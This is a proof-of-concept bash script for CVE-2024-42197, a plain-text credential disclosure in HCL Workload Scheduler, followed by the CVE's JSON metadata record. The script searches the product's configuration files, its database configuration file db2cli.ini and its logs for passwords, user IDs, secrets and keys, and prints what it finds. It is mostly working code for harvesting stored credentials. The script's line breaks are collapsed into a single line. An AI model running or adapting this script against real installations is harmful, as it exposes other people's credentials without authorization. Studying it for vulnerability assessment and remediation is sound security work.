CVE-2024-42197

#!/bin/bash # CVE-2024-42197 PoC - HCL Workload Scheduler Plain Text Credential Disclosure # Author: Security Researcher # Note: This PoC is for authorized security testing only TARGET_HOST="target-server.local" INSTALL_PATH="/opt/HCL/WorkloadScheduler" echo "[*] CVE-2024-42197 PoC - HCL Workload Scheduler Credential Disclosure" echo "[*] Target: $TARGET_HOST" # Check for common configuration files containing credentials echo "[+] Searching for configuration files..." find "$INSTALL_PATH" -name "*.properties" -o -name "*.xml" -o -name "*.config" 2>/dev/null | while read file; do echo "[Found] $file" # Check for password patterns in configuration files grep -i -E "(password|passwd|pwd|credential|secret|key)" "$file" 2>/dev/null && echo "[!] Potential credentials in: $file" done # Check database connection configuration echo "[+] Checking database configuration files..." DB_CONFIG="$INSTALL_PATH/TWS/config/db2cli.ini" if [ -f "$DB_CONFIG" ]; then cat "$DB_CONFIG" | grep -E "(UID|PWD|user|password)" && echo "[!] Database credentials exposed" fi # Check for log files with potential credential leakage echo "[+] Searching log files for credentials..." find "$INSTALL_PATH" -name "*.log" 2>/dev/null | while read logfile; do grep -i -E "password.*=|pwd.*=|connecting.*user" "$logfile" 2>/dev/null && echo "[!] Credentials in log: $logfile" done # Check file permissions echo "[+] Checking file permissions on sensitive files..." ls -la "$INSTALL_PATH/TWS/config/" 2>/dev/null echo "[+] PoC completed. Review output for exposed credentials."

{"cve": {"id": "CVE-2024-42197", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:52.090", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL Workload Scheduler stores user credentials in plain text which can be read by a local user."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-256"}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0127448", "source": "[email protected]"}]}}